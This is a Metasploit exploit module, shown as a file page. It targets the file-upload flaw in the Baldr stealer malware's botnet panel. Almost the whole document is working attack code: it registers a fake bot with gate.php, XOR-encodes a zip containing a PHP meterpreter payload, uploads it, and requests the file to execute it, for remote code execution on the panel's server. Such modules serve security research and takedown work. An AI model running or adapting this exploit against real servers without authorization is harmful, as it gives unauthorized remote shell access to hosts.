242 lines
No EOL
6.5 KiB
Ruby
Executable file
242 lines
No EOL
6.5 KiB
Ruby
Executable file
##
|
||
# This module requires Metasploit: https://metasploit.com/download
|
||
# Current source: https://github.com/rapid7/metasploit-framework
|
||
##
|
||
|
||
require 'net/http'
|
||
|
||
class MetasploitModule < Msf::Exploit::Remote
|
||
Rank = ExcellentRanking
|
||
include Msf::Exploit::Remote::HttpClient
|
||
|
||
def initialize(info={})
|
||
super(update_info(info,
|
||
'Name' => "Baldr Botnet Panel Shell Upload Exploit",
|
||
'Description' => %q{
|
||
This module exploits the file upload vulnerability of baldr malware panel.
|
||
},
|
||
'License' => MSF_LICENSE,
|
||
'Author' =>
|
||
[
|
||
'Ege Balcı <ege.balci@invictuseurope.com>' # author & msf module
|
||
],
|
||
'References' =>
|
||
[
|
||
['URL', 'https://prodaft.com']
|
||
],
|
||
'DefaultOptions' =>
|
||
{
|
||
'SSL' => false,
|
||
'WfsDelay' => 5,
|
||
},
|
||
'Platform' => ['php'],
|
||
'Arch' => [ ARCH_PHP],
|
||
'Targets' =>
|
||
[
|
||
['Auto',
|
||
{
|
||
'Platform' => 'PHP',
|
||
'Arch' => ARCH_PHP,
|
||
'DefaultOptions' => {'PAYLOAD' => 'php/meterpreter/bind_tcp'}
|
||
}
|
||
],
|
||
['Baldr <= v2.0',
|
||
{
|
||
'Platform' => 'PHP',
|
||
'Arch' => ARCH_PHP,
|
||
'DefaultOptions' => {'PAYLOAD' => 'php/meterpreter/bind_tcp'}
|
||
}
|
||
],
|
||
['Baldr v2.2',
|
||
{
|
||
'Platform' => 'PHP',
|
||
'Arch' => ARCH_PHP,
|
||
'DefaultOptions' => {'PAYLOAD' => 'php/meterpreter/bind_tcp'}
|
||
}
|
||
],
|
||
['Baldr v3.0 & v3.1',
|
||
{
|
||
'Platform' => 'PHP',
|
||
'Arch' => ARCH_PHP,
|
||
'DefaultOptions' => {'PAYLOAD' => 'php/meterpreter/bind_tcp'}
|
||
}
|
||
]
|
||
],
|
||
'Privileged' => false,
|
||
'DisclosureDate' => "Dec 19 2018",
|
||
'DefaultTarget' => 0
|
||
))
|
||
|
||
register_options(
|
||
[
|
||
OptString.new('TARGETURI', [true, 'The URI of the baldr gate', '/']),
|
||
]
|
||
)
|
||
end
|
||
|
||
def check
|
||
res = send_request_cgi(
|
||
'method' => 'GET',
|
||
'uri' => normalize_uri(target_uri.path,"/gate.php")
|
||
)
|
||
|
||
ver = ''
|
||
|
||
if res.code == 200
|
||
if res.body.include?('~;~')
|
||
targets[3] = targets[0]
|
||
#target = targets[3]
|
||
ver = '>= v3.0'
|
||
elsif res.body.include?(';')
|
||
#target = targets[2]
|
||
targets[2] = targets[0]
|
||
ver = 'v2.2'
|
||
elsif res.body.size < 4
|
||
targets[1] = targets[0]
|
||
#target = targets[1]
|
||
ver = '<= v2.0'
|
||
else
|
||
Exploit::CheckCode::Safe
|
||
end
|
||
print_status("Baldr verison: #{ver}")
|
||
Exploit::CheckCode::Vulnerable
|
||
else
|
||
Exploit::CheckCode::Safe
|
||
end
|
||
end
|
||
|
||
def exploit
|
||
|
||
name = '.'+Rex::Text.rand_text_alpha(4)
|
||
files =
|
||
[
|
||
{data: payload.encoded, fname: "#{name}.php"}
|
||
]
|
||
zip = Msf::Util::EXE.to_zip(files)
|
||
hwid = Rex::Text.rand_text_alpha(8).upcase
|
||
|
||
if targets[0]
|
||
check
|
||
end
|
||
|
||
|
||
case target
|
||
when targets[3]
|
||
res = send_request_cgi({
|
||
'method' => 'GET',
|
||
'uri' => normalize_uri(target_uri.path,"/gate.php")}
|
||
)
|
||
key = res.body.to_s.split('~;~')[0]
|
||
print_good("Key: #{key}")
|
||
|
||
data = "hwid=#{hwid}&os=Windows 10 x64&cookie=0&paswd=0&credit=0&wallet=0&file=1&autofill=0&version=v3.0"
|
||
data = xor(data,key)
|
||
|
||
res = send_request_cgi({
|
||
'method' => 'GET',
|
||
'uri' => normalize_uri(target_uri.path,"/gate.php"),
|
||
'data' => data.to_s
|
||
}
|
||
)
|
||
|
||
if res.code == 200
|
||
print_good("Bot successfully registered.")
|
||
else
|
||
print_error("New bot register failed !")
|
||
return false
|
||
end
|
||
|
||
data = xor(zip.to_s,key)
|
||
form = Rex::MIME::Message.new
|
||
form.add_part(data.to_s, 'application/octet-stream', 'binary', "form-data; name=\"file\"; filename=\"file.zip\"")
|
||
|
||
res = send_request_cgi(
|
||
'method' => 'POST',
|
||
'uri' => normalize_uri(target_uri.path,"/gate.php"),
|
||
'ctype' => "multipart/form-data; boundary=#{form.bound}",
|
||
'data' => form.to_s
|
||
)
|
||
if res && (res.code == 200 ||res.code == 100)
|
||
print_good("Payload uploaded to /logs/#{hwid}/#{name}.php")
|
||
else
|
||
print_error("Server responded with code #{res.code}") if res
|
||
print_error("Failed to upload payload.")
|
||
return false
|
||
end
|
||
|
||
when targets[2]
|
||
res = send_request_cgi({
|
||
'method' => 'GET',
|
||
'uri' => normalize_uri(target_uri.path,"/gate.php")}
|
||
)
|
||
key = res.body.to_s.split(';')[0]
|
||
print_good("Key: #{key}")
|
||
data = "hwid=#{hwid}&os=Windows 7 x64&cookie=0&paswd=0&credit=0&wallet=0&file=1&autofill=0&version=v2.2***"
|
||
data << zip.to_s
|
||
|
||
result = ""
|
||
codepoints = data.each_codepoint.to_a
|
||
codepoints.each_index do |i|
|
||
result += (codepoints[i] ^ key[i % key.size].ord).chr
|
||
end
|
||
|
||
res = send_request_cgi(
|
||
'method' => 'POST',
|
||
'uri' => normalize_uri(target_uri.path,"/gate.php"),
|
||
'data' => result.to_s
|
||
)
|
||
if res && (res.code == 200 ||res.code == 100)
|
||
print_good("Payload uploaded to /logs/#{hwid}/#{name}.php")
|
||
else
|
||
print_error("Server responded with code #{res.code}") if res
|
||
print_error("Failed to upload payload.")
|
||
return false
|
||
end
|
||
else
|
||
res = send_request_cgi(
|
||
'method' => 'POST',
|
||
'uri' => normalize_uri(target_uri.path,"/gate.php"),
|
||
'data' => zip.to_s,
|
||
'encode_params' => true,
|
||
'vars_get' => {
|
||
'hwid' => hwid,
|
||
'os' => 'Windows 7 x64',
|
||
'cookie' => '0',
|
||
'pswd' => '0',
|
||
'credit' => '0',
|
||
'wallet' => '0',
|
||
'file' => '1',
|
||
'autofill' => '0',
|
||
'version' => 'v2.0'
|
||
}
|
||
)
|
||
|
||
if res && (res.code == 200 ||res.code == 100)
|
||
print_good("Payload uploaded to /logs/#{hwid}/#{name}.php")
|
||
else
|
||
print_error("Server responded with code #{res.code}") if res
|
||
print_error("Failed to upload payload.")
|
||
return false
|
||
end
|
||
end
|
||
|
||
|
||
send_request_cgi({
|
||
'method' => 'GET',
|
||
'uri' => normalize_uri(target_uri.path,"/logs/#{hwid}/#{name}.php")}, 3
|
||
)
|
||
|
||
print_good("Payload successfully triggered !")
|
||
end
|
||
|
||
def xor(data, key)
|
||
result = ""
|
||
codepoints = data.each_codepoint.to_a
|
||
codepoints.each_index do |i|
|
||
result += (codepoints[i] ^ key[i % key.size].ord).chr
|
||
end
|
||
return result
|
||
end
|
||
|
||
|
||
end |